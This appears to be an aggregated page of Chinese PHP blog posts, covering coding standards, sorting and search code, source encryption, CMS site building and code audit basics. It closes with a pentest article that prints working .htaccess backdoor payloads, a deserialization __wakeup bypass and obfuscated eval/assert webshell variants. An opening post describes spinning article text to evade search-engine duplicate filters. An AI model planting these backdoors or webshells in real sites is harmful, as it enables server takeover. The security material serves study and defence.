php代码

学PHP代码生成不同内容

今天是周末上班,却是收获满满,通过网络请教朋友,使用代码生成不同标题与文章,又学会一个新技能。

看社群里面,朋友截了一个标题代码生成图,刚开始没在意。因为最近操作博客中,内容相似度很高,博客封的厉害。收录不理想,但朋友的博客却是全部首页。

于是赶紧找到朋友截图,照着图片一个个代码输入PHP代码,生成不同标题与文章。把生成不同的文章,发布网络,让潜在收录者找到我们发布的信息,做搜索推广主要是看什么产品,工业品是效果好,如果是快消品,选择电商平台,效果更好。

今天是非常感恩朋友,教我如何使用代码,生成不同的标题与文章,达成自己想要的结果。这中间弄错代码好几次,还好朋友远程帮忙呢,不然是真的不知错在哪,细心告诉我下一步,如何操作。

使用代码生成文章之后,可以发布博客,也可以发布官网。博客收录快,官网收录慢。官网可发布更多的文章 ,不受限,主要是购买官网空间与数据空间,一定是选择大空间。

最近也是一直在操作官网中,因为是织梦后台,之前没有操作过,根本不知道从何下手,请教老师说,可以使用FTP软件去更改图片,删除、覆盖操作文件。

使用FTP软件更改上传文件。

1、单击右键复制图片地址,使用新浏览器打开

2、找到这个图片地址,FTP上面找到相对应的图片

3、把FTP上面的图片名称复制到,已经做好本地盘图片上

4、单击右键本地电脑图片,选择上传,删除、覆盖操作服务器文件。

5、打开网站重新刷新看看,没有更改上传成功,有些网站有缓存会慢点,如果一直没有成功,就是你操作失误,再试一次。

6、建议新手先把FTP的文件下载到本地备份,你改错了,还有原文件。

使用软件操作有点难度,要懂一些基础代码,有技术同事在一起工作更好。直接请教,几分钟可以搞定,如果你是完全小白,只是百度找答案,或是请教操作过的朋友,重要自己的执行力与学习力强,不然别人教你方法,你要知道操作手法。我是很幸运,有很好同事,教我如何操作代码,快速学会基础代码,达成想要的结果。

今天在学习操作过程中,犯了很多错误,还好朋友有耐心,一点点教我,不然真的两眼一抹黑,不知从何下手。重要是弄清代码的规律,这样的你学习更快。一起学习,成为更好的自己。不为自己设定上限,相信你一定可以战胜一切困难。

展开
收起

「译」PHP编码标准

最近打算系统的阅读PHP7源代码,在看代码之前还是准备先系统复习一遍PHP语言,虽然已经用了几年了,但是并不算精通,所以先翻译一下Github上的php编码标准文档,原文如下:

https://github.com/php/php-src/blob/master/CODING_STANDARDS.md

译文

下面列举了一些标准,想在PHP源码中做修改或新增代码的程序员应该遵守这些标准。因为这个标准在PHP3.0版本才出台,基础的代码并没有完全遵守规则,不过之后的新特性都遵守这个规则。此外还有一些部分已经用新的规则重写了。

编码执行标准

在代码源文件和使用手册中写下文档。指向资源的函数不应该释放他们。例如,函数function int mail(char *to, char *from)不应该释放to和/或from。特殊情况专门用来做释放资源功能的函数,比如efree()给函数多加一个布尔类型的参数,如果参数是true就可以释放其他参数,如果不是就不可用释放。低级别解析器,轻量级合并token缓存和先前的小内存复制野牛代码。和相同模块的其他函数微合并的函数,并且在重要功能上互相依赖,应该在注明文档并且使用static关键字。并且尽可能避免这样用。 无论何时尽量用预定义和宏,以至于有特殊意义名字的常量可以很容易的被使用。唯一的例外是0和1,因为他们可以用false和true代替。此外,其他的数字常量用来生命不同含义应该使用#define声明。当写处理字符串的函数时, 确保记住PHP存储了每一个字符串字面量的长度,并且不应该使用strlen()函数计算。 使用这种方法写函数时,可以充分利用长度的空间,不仅效率高,而且二进制安全。那些修改字符串的函数也会准确得到他们的新长度,而且也会返回新长度,也不比使用strlen()重新计算。 例如 (e.g. php_addslashes())。绝不使用strncat()函数。如果你十分确信你知道自己在做什么,请查一次使用手册,再考虑使用这个函数,尽管这样也要尽量避免使用它。 在PHP源码中使用PHP_*宏,并且在zend部分源代码使用ZEND_*宏。尽管PHP_*宏大部分是ZEND_*宏的别名,可以让你更好的理解你正在使用的是什么类型的宏。当使用#if语句注释代码时,不用只用0。使用"<git username here>_0". 例如, #if FOO_0,F00代表你的git账户用户名f00。这可以更容易追中被注释的代码,特别是在bundle库。必要定义一些不可用的函数。例如,如果一个库缺少一个函数,不要定义这个函数的PHP版本,并且不支持不存在函数的运行时错误。最后的使用者应该使用function_exists()函数测试这个函数的存在性。推荐使用emalloc(),efree(),estrdup()等函数,以及和他们对应的标准C库函数。 这些函数实现了一个内部的网络安全机制,可以保证一个请求到最后所有的存储单元都得到释放。当以调试模式运行时也提供了有用的内存分配信息。几乎所有情况下,使用emalloc()函数回收内存。使用malloc()应该被限制在控制或者释放内存的情况下,或者当相关的内存需要在多个请求之间使用。用户函数/方法命名协议

用户级别函数名应该用PHP_FUNCTION()宏包围。他们应该小写,应该用强调边界的词语,尽可能使用比较短的词语。因为缩略词会很大削减函数名的可读性,所以尽量不要用缩略词:正确的:str_word_countarray_key_exists好的:date_interval_create_from_date_string// Could be 'date_intvl_create_from_date_str'?get_html_translation_table()// Could be 'html_get_trans_table'?错误的:hw_GetObjectByQueryCollObjpg_setclientencodingjf_n_s_i如果他们是父集合函数的一部分,父集合应该包含在用户函数名中,并且应该很明确的与父程序和函数家族有关。 应该是以parent_*的形式:foo函数类,比如:正确的:foo_select_barfoo_insert_bazfoo_delete_baz错误的:fooselect_barfooinsertbazdelete_foo_baz被用户函数使用的函数名应该是以_php_作为前缀,并且应该后接下划线强调的界定单词,并且是小写单词来描述函数。如果可以,尽可能用static修饰符。变量名必须很有意义。尽可能不要用一个单词的变量,除了没有真实意义或者不重要的变量时。 (比如 for (i=0; i<100; i++) ...)。变量名应该是小写的。用下划线区分单词。以驼峰命名的方法,尽量用比较短的单词。首单词应该是小写的,并且后面每个单词首字母都大写 :正确的:connect()getData()buildSomeWidget()错误的:get_Data()buildsomewidget()getI()类名应该尽可能短,并且是名词,以帕斯卡命名法命名。类中的每隔单词应该以大写字母开头,不使用下划线。如果没有命名空间可用,类名应该继承父集合的名字(比如扩展名)。无论如何都应该尽量避免缩略词和首字母缩略词,除非他们被非常广泛应用比常见的形式 (比如 HTTP 或者 URL)。鉴于首字母缩略词通常是根据他们的符合被写出来,以一个大写字母开头并且后面跟着小写字母的缩略词。下面的几种首字母缩略词的用法通常不被广泛的使用。正确的:CurlCurlResponseHTTPStatusCodeURLBTreeMap// B-tree MapId// IdentifierID// Identity DocumentChar// CharacterIntl// InternationalizationRadar// Radio Detecting and Ranging错误的:curlcurl_responseHttpStatusCodeUrlBtreeMapID// IdentifierCHARINTLRADAR// Radio Detecting and Ranging内部函数命名规则

外部API类的函数应该是以php_modulename_function()命名,避免符号冲突。他们应该是小写的,以下划线分割。 高风险的API必须被定义在头文件php_modulename.h中。PHPAPI char *php_session_create_id(PS_CREATE_SID_ARGS);未暴露的模块函数应该是静态的并且不定义在php_modulename.h中。staticintphp_session_destroy()主模块源文件必须被命名在modulename.c中。源码中的头文件必须命名在php_modulename.h中。语法和缩进

不要用从c++风格的注释 (比如 // 注释)。尽量用C语言风格的注释。PHP是用C语言写的,并且是用任何标准C编译器编译的。尽管一些一些编译器可以支持C语言中使用C++风格的注释,你必须保证你的代码可以在其他的编译器中也可以顺利编译。唯一的例外是Win32代码,因为Win32是VC++特有的。并且这个编译器可以接收C语言中的C++风格注释。使用K&R风格。当然,我们不能也不要强制任何人使用他以前没用过的风格,但是,至少当你想要在PHP源代码或者核心模块中提交你的代码,请使用K&R风格。这在任何地方都应该使用,以缩进和注释风格上升到函数声明语法。也要看缩进风格。 不要吝啬使用空格和空行。在变量声明部分和块语句间使用空行,也在一个逻辑语句块之间。在两个函数之间使用一个或者个两个空行。下面的例子:if (foo) { bar;}比下面更好:if(foo)bar;使用制表符缩进。一个制表符代表4个空格。在定义,注释和控制结构正确的对齐保持一致很重要。预处理起语句必须从一列开始(比如#if) 。预处理语句指令开头应该以#在第一列开头,后面跟一些空格。测试

PHP的测试扩展应该用*.phpt形式。参考qa.php.net文档。文档和折叠钩子

为了确保线上文档和代码在一行,每个用户级别函数应该有自己的用户级别函数原型,在函数之前以一行简单的描述说明函数的功能。看起来像下面这样:

/* {{{ proto int abs(int number) Returns the absolute value of the number */PHP_FUNCTION(abs){ ...}/* }}} */{{{ 符号是默认的折叠方式,在Emacs和vim中(set fdm=marker命令)。当处理大文件时折叠很有用,因为你可以通过滚动键快速定位文件,并且在查看函数时取消折叠就有效。每个函数的结尾的}}}标志了折叠结束。并且应该在一个独立的行。

对doc/genfuncsummary脚本来说,proto关键字只有一个好处,可以生成完整的函数摘要。 在函数原型前的关键词,在没有函数摘要的代码允许我们添加折叠。

可选参数像下面这样写:

/* {{{ proto object imap_header(int stream_id, int msg_no [, int from_length [, int subject_length [, string default_host]]]) Returns a header object with the defined parameters */此外,函数原型应该写在一行,尽管这行很乱。

新的实验性的函数

为了减少和一个新函数集合第一个公开的实现有关的问题,通常建议在函数目录第一个实现应该包括标有EXPERIMENTAL的文件, 并且在第一个实现后面跟的是标准的规范函数。

带有EXPERIMENTAL标志的文件应该包括下面的实现:

任何著作信息(已知bug,模块特征)。注明持续状态对于Git注释可能不太合适。一般情况下,新的特征应该提交到PECL(php扩展公共库)或者实验性分支,直到有特殊的原因可以加到核心发行版中。

别名和遗留文档

你可能也有一些不赞成的重复名字,比如somedb_select_result 和 somedb_selectresult。由于文档的原因, 这些只会记录当前的名字,以及列举在文档上的父函数别名。为了方便,有复杂不同名字的用户函数,相同函数的别名(比如highlight_file 和 show_source), 会被分别记录。 原型仍然会被包括,并且描述那个函数有别名。

相反地,兼容性的函数名应该可以作为代码基的一部分很合乎情理。参见PHP文档仓库中的README了解更多的相关信息。

总结

文档翻译的有些生涩,一些专有词汇可能不是很合适,但是对了解PHP源码大有裨益。学习之路道阻且长,忽然想起那句话:路漫漫其修远兮,吾将上下而求索。

2020,我来了,加油!

展开
收起

php源码加密解密

今天我们介绍另一个与此相类似的php加密码解密扩展-phpscrew.

下载源码地址:https://github.com/del-xiong/screw-plus.git

源码下载完成之后,第一步就是修改key,在文件php_screw_plus.h文件中.

php-screw-plus扩展修改key

执行phpize,如下:

php-screw-plus 执行phpize指令

执行./configure,如下:

php-screw-plus执行./configure

执行 sudo make,如下:

sudo make

执行sudo make install

修改php.ini文件,增加screw扩展

执行php -m | grep -i screw ,检查screw扩展是否安装好

切换到源码的tools文件夹中,执行make,编译加密执行程序.

现在为止准备工作就都全部结束了,

执行screw xx.php ,会将xx.php进行加密

放在网站目录中可以正常访问,加密成功.

总结:

screw加密方式和beast加密扩展的使用基本上是一样的,beast在功能上相比screw plus会更加的全面些,例如绑定网卡.

展开
收起

二分查找法补充(PHP代码)

二分查找法的补充,还是举例说明。

循环二分

上一篇二分法(二分查找法(PHP代码)),主要是函数递归调用的方法,本篇用的是for循环遍历,它的一部分思想与上一篇相同,主要讲解不同的地方。

主题代码:

主题代码

函数的主体部分与上一篇大致相同,不同的地方是函数部分。

函数代码截图:

函数代码

函数部分:

定义函数,for循环遍历(一直循环,得到结果才跳出循环),if判断。

定义函数主题思路与上一篇一致,形参与实参对应(第46行中的实参 取到数组的最后一位的下标)。

for循环部分,$i = 1,条件 $i >0,自增$i++,会让它一直增长,直到遇到跳出循环的条件。

if判断与上一篇大致相同,不同部分(在第25行 判断时当中间值大于你要查询的值时,会改变结束的下标,起始下标不变。第30行与其类似 判断中间值小于你要查询的值时,会改变开始下标,结束下标不变)。

结果截图

点滴积累,学有所成。

展开
收起

选择排序(PHP代码)

选择排序

选择排序

描述原理:

简单描述原理

PHP核心代码:

PHP核心代码

效果截图:

代码结果

解释:选择排序的一些地方与冒泡排序相同(冒泡排序(PHP代码)),这里主要讲解不同的部分。

在第一个for循环内部中定义了一个最大的数组及其下标,在第18、19行,先给其第一个数组值及其下标($max = $arr1[0]; $max_key = 0;),方便后续代码中使用。

在第20行中($n-$i)以及第22行(if判断)每循环一次取出其中最大值的数组及其下标。

在第29~31行取到的最大数组与数组最后一个交换位置(与冒泡类似),实现数组的排序效果。

展开
收起

PHP|PHP之代码编写规范

PHP之代码编写规范

一、编辑器设置

1 使用Tab缩进(四个空格),不要直接使用空格

2 文件编码格式

二、命名设置

1、公共库名称空间

2、变量命名

2.1、所有字母都使用小写

2.2、首字母根据变量值类型指定

整数I、浮点数f、字符串s、布尔值b、数组a、对象o、资源r、混合类型m

2.3、使用’_’作为每一个词的分界

3、类命名

3.1使用大写字母作为词的分隔,其他的字母均使用小写,即驼峰格式。

3.2名字的首字母使用大写

3.3不要使用下划线(’_')

3.4 interface接口最好使用大写字母I,并以Interface结尾

4、方法命名

4.1使用大写字母作为词的分隔,其他的字母均使用小写

4.2名字的首字母使用大写,声明为“private” 或“protected” 的,使用’_’为前缀

4.3不要使用下划线(’_')

4.4与类命名一致的规则

4.5对象的访问器总是以“get” 或“set” 为前缀,当使用设计模式

5、类属性命名

5.1属性名前缀应以属性值类型指定(具体参照变量命名规则)

5.2前缀后采用与类命名一致的规则

5.3私有属性采用’_’为前缀

6、方法中参数命名

6.1参照类属性命名

7、全局变量

7.1全局变量应该带前缀‘g’

7.2其余参照变量命名规则

8、定义命名/全局常量

8.1全局常量使用’_’分割每个单词

8.2所有字母使用大写

9、函数

9.1所有的字母采用小写,使用’_’分割每个单词

10、文件命名

11、运算符优先级

展开
收起

二分查找法(PHP代码)

有关二分查找的概念与例子:

什么是二分查找

二分查找

二分查找也称折半查找(Binary Search),它是一种效率较高的查找方法。但是,折半查找要求线性表必须采用顺序存储结构,而且表中元素按关键字有序排列。

二分查找的要求:

1:必须采用循序储存结构。

2:必须按关键字大小有序排列。

大致内容:

定义数组,自定义函数,递归方法查找(递归案例 斐波那契数列如何输出(PHP代码))

案例主题代码截图:

主题代码

这些代码主内容:

定义一个数组,第46行调用函数(写入对应实参),47行简单做一个小判断。

函数代码截图:

二分函数

解释:

函数第10行中定义了四个形参($arr 为查找的数组, $value 你想要在数组中查找的数值 ,$start 开始范围的下标 , $end 结束范围的下标)。

第12行第一个if判断(当开始的下标大于结束的下标时返回false,从函数中出来)。

第16行$mid 求出每次的中间值的下标,$zhong 为中间值。

第18行,当你想要找的值正好是中间值。

第22行,你找的值大于中间值时,得到一个新的起始下标($new_start),它就等于原来的中间下标加一,结束下标还是原来的结束下标($end,为了方便查看,我将它赋值给了$new_end)。

第28行,你找的值小于中间值时,得到一个新的结束下标($new_end),它就等于原来的中间下标减一,起始下标还是原来的起始下标($start,为了方便查看,我将它赋值给了$new_start)。

结果截图:

结果

上面为数组的内部数据。

下面为查询结果(灵活更改内容,可查看自己所需的效果)。

展开
收起

不会php代码怎么做网站?教你轻松使用各种开源系统建站方法

做网站大家首先想到的就是要怎么写代码,选择PHP还是asp,或者Java等语言,还有数据库使用MySQL、oracle还是access等等,其实完全没有那个担心,很多的个人站长并不会写代码,这是事实。只要掌握网站建设的基本方法,对于各种类型的开源网站系统都可以轻松驾驭,做出漂亮的网站。

01了解开源网站系统

开源网站系统就是开放源代码的意思,所有的代码均没有被加密,你可以任意修改,直到满足你的功能未知;开源系统一般不允许二次发布或销售,你自己使用,随便你怎么改都可以,但是不能把你改好的进行销售或再一次发布。

现在90%以上的开源网站系统使用的是PHP语言开发,主要是PHP免费,MySQL数据库也免费,PHP运行速度快等特点,一般情况下,网站语言选择PHP的就行。部分开源系统会有购买授权这一要求,个人仍然是可以免费使用的,如果是公司使用可以根据实际情况购买授权,比如你的网站已经稳定运营了,建议购买,如果是刚开始或者运营不稳定,暂缓购买授权也行(不买也可以,只不过为了减少不必要的麻烦买一个授权更放心)。

常用的开源网站系统,均为PHP+MySQL

dedecms:开源用来搭建资讯类,个人博客,企业网站,图片站,商品展示,商城,分类信息站等,功能强大,不可多得的内容管理系统,有授权,不买也可以使用;简单易学,入门很快。

discuz:简称DZ,做论坛就用他了,你现在看到的论坛网站几乎都是discuz系统搭建的,还可以用来搭建门户网站,dz应用中有很多的插件,能够实现分类信息、地方门户,商城网站,分销等很多功能;模板设计稍微复杂,只要稍加学习即可搞定。

WordPress:国外的一款使用很广泛的博客系统,可以用于搭建个人博客和企业网站。

还有很多不太知名的开源网站系统,如果不知道可以百度搜索。

02本地测试环境介绍

想要使用任何一款开源的网站系统,总是需要先在本地电脑上测试一下,所以配置一个完整的PHP环境就必不可少了,但是PHP环境的搭建优点复杂,于是有了很多的本地集成PHP环境软件,现在比较流行的有PHPstudy,PHPenv及wampserver等,大家可以百度搜索下载安装。

先将PHP集成环境在本地电脑上安装好,再去下载相应的网站源码,在集成环境上安装即可进行测试。

03模板制作或选择免费模板

开源网站系统都有一个共同的特点:模板是通用的。你可以去下载免费的模板直接使用,有条件的话也可以花钱购买一些付费的模板,直接套用就行。

如果是自己设计模板,需要懂得css和HTML相关的代码才行,这个是必须的基础,没有别的办法;其实也有简单的方法,可以去下载一些免费的模板,进行适当的修改即可成为自己的模板。很多仿站就是这么弄得,把别人的css和js文件下载下来,再进行标签套用即可。

04网站上线运营

将我们制作好的网站上线运营,需要购买服务器,可以根据自身的条件选择购买虚拟主机或是独立服务器,要是小型网站,使用虚拟空间就可以了,这个在购买的时候资讯空间商就行。

剩下的就是填充网站内容,优化和推广,获得用户或进行商品销售。网站设计制作是不是也很简单,只要会,一周上线一个网站其实是很容易的,想那些专门卖模板的网站,一套模板稍微修改一下就可以用于另一个网站,一天上线几个网站都可以。

展开
收起

老司机带你入门PHP代码审计(文末附1000个样例)

为什么选择PHP学习代码审计?PHP是天生用来开发web程序的,正如之前的梗"PHP是世界上最好的语言",最主要的原因是PHP编写的各种程序随处可见。

一、入门准备

1.PHP的编程基础

2.环境配置能力

二、代码结构

常见的代码结构有两种:

1、HTML与PHP代码混编,特征就是一个url对应一个PHP页面,例如WordPress的登陆页面http://wordpress.com.test/wp-login.php

2、MVC模式

把代码拆分为Model View Controller三部分结构,模型一般是数据库操作的相关的代码,例如jsp中的javabean用来设计数据的属性和行为,提供获取属性和设置属性的get/set方法视图通常是HTML代码和其他编程语言的混编结果,可以把一些控制器传递过来的结果,进行一定的拼接控制器的代码一般是接受数据,做一些数据的校验,权限的判定,调用一些模型的数据库操作代码,把获得到的数据,传递给视图,然后视图把装好的HTML代码发送到客户端MVC的常见表现形式是通常有一个入口文件,这个入口一般是index.php

三、目录结构

放引用的库或者插件,文件夹名字一般叫librarie/lib/plugin现代的PHP项目还有一个vendor文件夹,是PHP的包管理器安装依赖代码存放的路径视图代码文件夹名称一般叫layout,theme,template,view控制器文件夹一般叫controller公用的一些代码文件夹一般叫common一些工具函数可能放helper/util/tool文件夹里配置文件放在config文件夹里components或modules:这里有mvc的代码,把功能互相独立出来route.php:对不同的url调用不同的代码篇幅有限先介绍到这里,以上技术内容参考 安全牛课堂 PHP代码审计,侵权删。

展开
收起

php代码渗透测试 后门分析篇

很多想做渗透测试的朋友都想了解关于PHP后门漏洞的安全测试重点方法,以及该如何预防被中php后门,本节由我们的Sine安全高级渗透工程师进行全面的讲解,来让大家更好的理解和了解php代码的安全检测,让网站得到最大化的安全保障,安全保障了,网站才能更长远的运行下去。

4.1.1. 后门

4.1.1.1. php.ini构成的后门

利用 auto_prepend_file 和 include_path

4.1.1.2. .htaccess后门

php_value auto_append_file .htaccess

#<?php phpinfo();

php_flag allow_url_include 1

php_value auto_append_file data://text/plain;,PD9waHAgcGhwaW5mbygpOw==

#php_value auto_append_file data://text/plain,%3C%3Fphp+phpinfo%28%29%3B

4.1.1.3. .user.ini文件构成的PHP后门

.user.ini可运行于所有以fastcgi运行的server。利用方式同php.in

4.1.2. 反序列化

4.1.2.1. PHP序列化实现

PHP序列化处理共有三种,分别为php_serialize、php_binary和 WDDX,默认为php_serialize,可通过配置中的 session.serialize_handler 修改。

其中php_serialize的实现在 php-src/ext/standard/var.c 中,主要函数为 php_var_serialize_intern ,序列化后的格式如下:

booleanb:<value>;b:1; // trueb:0; // falseintegeri:<value>;doubled:<value>;NULLN;strings:<length>:"<value>";s:1:"s";arraya:<length>:{key, value};a:1:{s:4:"key1";s:6:"value1";} // array("key1" => "value1");objectO:<class_name_length>:"<class_name><number_of_properties>:{<properties>};reference指针类型R:reference;O:1:"A":2:{s:1:"a";i:1;s:1:"b";R:2;}$a = new A();$a->a=1;$a->b=&$a->a;4.1.2.2. PHP反序列化漏洞

php在反序列化的时候会调用 __wakeup / __sleep 等函数,可能会造成代码执行等问题。若没有相关函数,在析构时也会调用相关的析构函数,同样会造成代码执行。

另外 __toString / __call 两个函数也有利用的可能。

其中 __wakeup 在反序列化时被触发,__destruct 在GC时被触发, __toString 在echo时被触发, __call 在一个未被定义的函数调用时被触发。

下面提供一个简单的demo.

利用 auto_prepend_file 和 include_path

输出

construct

Data's value is raw value.

destruct

string(44) "O:4:"Demo":1:{s:4:"data";s:9:"raw value";}"

把序列化的字符串修改一下后,执行

unserialize('O:4:"Demo":1:{s:4:"data";s:15:"malicious value";}');

输出

wake up

Data's value is malicious value.

destruct

这里看到,值被修改了.

上面是一个 unserialize() 的简单应用,不难看出,如果 __wakeup() 或者 __desturct() 有敏感操作,比如读写文件、操作数据库,就可以通过函数实现文件读写或者数据读取的行为。

那么,在 __wakeup() 中加入判断是否可以阻止这个漏洞呢?在 __wakeup() 中我们加入一行代码

但其实还是可以绕过的,在 PHP5 < 5.6.25, PHP7 < 7.0.10 的版本都存在wakeup的漏洞。当反序列化中object的个数和之前的个数不等时,wakeup就会被绕过,于是使用下面的payload

unserialize('O:7:"HITCON":1:{s:4:"data";s:15:"malicious value";}');

输出

Data's value is malicious value.

destruct

这里wakeup被绕过,值依旧被修改了。

4.1.3. Disable Functions

4.1.3.1. 机制实现

PHP中Disable Function的实现是在php-src/Zend/Zend-API.c中。PHP在启动时,读取配置文件中禁止的函数,逐一根据禁止的函数名调用 zend_disable_function 来实现禁止的效果。

这个函数根据函数名在内置函数列表中找到对应的位置并修改掉,当前版本的代码如下:

和函数的实现方式类似,disable classes也是这样实现的

因为这个实现机制的原因,在PHP启动后通过 ini_set 来修改 disable_functions 或 disable_classes 是无效的。

4.1.3.2. Bypass

LD_PRELOAD绕过PHP OPcacheMail函数imap_open4.1.4. Open Basedir

4.1.4.1. 机制实现

PHP中Disable Function的实现是在php-src/main/fopen-wrappers.c中,实现方式是在调用文件等相关操作时调用函数根据路径来检查是否在basedir内,其中一部分实现代码如下:

PHPAPI int php_check_open_basedir_ex(const char *path, int warn)

{

/* Only check when open_basedir is available */

if (PG(open_basedir) && *PG(open_basedir)) {

char *pathbuf;

char *ptr;

char *end;

/* Check if the path is too long so we can give a more useful error

* message. */

if (strlen(path) > (MAXPATHLEN - 1)) {

php_error_docref(NULL, E_WARNING, "File name is longer than the maximum allowed path length on this platform (%d): %s", MAXPATHLEN, path);

errno = EINVAL;

return -1;

}

pathbuf = estrdup(PG(open_basedir))

ptr = pathbuf;

while (ptr && *ptr) {

end = strchr(ptr, DEFAULT_DIR_SEPARATOR);

if (end != NULL) {

*end = '\0';

end++;

}

if (php_check_specific_open_basedir(ptr, path) == 0) {

efree(pathbuf);

return 0;

}

ptr = end;

}

if (warn) {

php_error_docref(NULL, E_WARNING, "open_basedir restriction in effect. File(%s) is not within the allowed path(s): (%s)", path, PG(open_basedir));

}

efree(pathbuf);

errno = EPERM; /* we deny permission to open it */

return -1;

}

/* Nothing to check... */

return 0;

}

4.1.5. phpinfo相关漏洞

4.1.5.1. Session.Save

PHP的Session默认handler为文件,存储在 php.ini 的 session.save_path 中,若有任意读写文件的权限,则可修改或读取session。从phpinfo中可获得session位置

4.1.5.2. Session.Upload

php.ini默认开启了 session.upload_progress.enabled , 该选项会导致生成上传进度文件,其存储路径可以在phpinfo中获取。

那么可以构造特别的报文向服务器发送,在有LFI的情况下即可利用。

4.1.5.3. /tmp临时文件竞争

phpinfo中可以看到上传的临时文件的路径,从而实现LFI

4.1.6. htaccess injection payload

4.1.6.1. file inclusion

利用 auto_prepend_file 和 include_path

4.1.6.2. code execution

php_value auto_append_file .htaccess

#<?php phpinfo();

4.1.6.3. file inclusion

php_flag allow_url_include 1php_value auto_append_file data://text/plain;,PD9waHAgcGhwaW5mbygpOw==#php_value auto_append_file data://text/plain,%3C%3Fphp+phpinfo%28%29%3B#php_value auto_append_file /evil-code.txt4.1.6.4. code execution with UTF-7

php_flag zend.multibyte 1

php_value zend._encoding "UTF-7"

php_value auto_append_file .htaccess

#+ADw?php phpinfo()+ADs

4.1.6.5. Source code disclosure

php_flag engine 0

4.1.7. WebShell

4.1.7.1. 常见变形

GLOBALSeval($GLOBALS['_POST']['op']);$_FILEeval($_FILE['name']);拆分assert(${"_PO"."ST"} ['sz']);动态函数执行$k="ass"."ert"; $k(${"_PO"."ST"} ['sz']);create_function$function = create_function('$code',strrev('lave').'('.strrev('TEG_$').'["code"]);');$function();preg_replacerot13进制转化"\x62\x61\163\x65\x36\x34\137\144\145\x63\x6f\144\145"利用文件名__FILE__4.1.7.2. 字符串变形函数

ucwordsucfirsttrimsubstr_replacesubstrstrtrstrtoupperstrtolowerstrtokstr_rot134.1.7.3. 回调函数

call_user_func_arraycall_user_funcarray_filterarray_walkarray_mapregistregister_shutdown_functionregister_tick_functionfilter_varfilter_var_arrayuasortuksortarray_reducearray_walkarray_walk_recursive4.1.7.4. 特殊字符Shell

PHP的字符串可以在进行异或、自增运算的时候,会直接进行运算,故可以使用特殊字符来构成Shell。

@$_++;

$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");

@${$__}[!$_](${$__}[$_]);

$_=[];

$_=@"$_"; // $_='Array';

$_=$_['!'=='@']; // $_=$_[0];

$___=$_; // A

$__=$_;

$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;

$___.=$__; // S

$___.=$__; // S

$__=$_;

$__++;$__++;$__++;$__++; // E

$___.=$__;

$__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R

$___.=$__;

$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T

$___.=$__;

$____='_';

$__=$_;

$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P

$____.=$__;

$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O

$____.=$__;

$__=$_;

$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S

$____.=$__;

$__=$_;

$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T

$____.=$__;

$_=$$____;

$___(_decode($_[_]));

4.1.8. 其它

4.1.8.1. 低精度

php中并不是用高精度来存储浮点数,而是用使用 IEEE 754 双精度格式,造成在涉及到浮点数比较的时候可能会出现预期之外的错误。比如 php -r "var_dump(0.2+0.7==

0.9);" 这行代码的输出是 bool(false) 而不是 bool(true)。这在一些情况下可能出现问题。

4.1.8.2. 弱类型

如果使用 == 来判断相等,则会因为类型推断出现一些预料之外的行为,比如magic hash,指当两个md5值都是 0e[0-9]{30} 的时候,就会认为两个hash值相等。另外在判断字符串和数字的时候,PHP会自动做类型转换,那么 1=="1a.php" 的结果会是true

另外在判断一些hash时,如果传入的是数组,返回值会为 NULL, 因此在判断来自网络请求的数据的哈希值时需要先判断数据类型。

同样的, strcmp() ereg() strpos() 这些函数在处理数组的时候也会异常,返回NULL。

4.1.8.3. 命令执行

preg_replace 第一个参数是//e的时候,第二个参数会被当作命令执行

4.1.8.4. 截断

PHP字符存在截断行为,可以使用 ereg / %00 / iconv 等实现php字符截断的操作,从而触发漏洞。

4.1.8.5. 变量覆盖

当使用 extract / parse_str 等函数时,或者使用php的 $$ 特性时,如果没有正确的调用,则可能使得用户可以任意修改变量。

4.1.8.6. 执行系统命令

禁用的函数可以在phpinfo中的 disable_functions 中查看

pcntl_execexecpassthrupopenshell_execsystemproc_open4.1.8.7. Magic函数

__construct() __destruct()__call() __callStatic()__get() __set()__isset() __unset()__sleep() __wakeup()__toString()__invoke()__set_state()__clone()__debugInfo()4.1.8.8. 文件相关敏感函数

move_uploaded_filefile_put_contents / file_get_contentsunlinkfopen / fgets4.1.8.9. php特性

php自身在解析请求的时候,如果参数名字中包含” “、”.”、”[“这几个字符,会将他们转换成下划线,讲了那么多渗透测试中PHP后门的安全检测方法,那么如果对此有需求的朋友可以咨询专业的网站安全公司来做渗透测试,国内做的比较好的安全公司如Sinesafe,启明星辰,绿盟等等。

展开
收起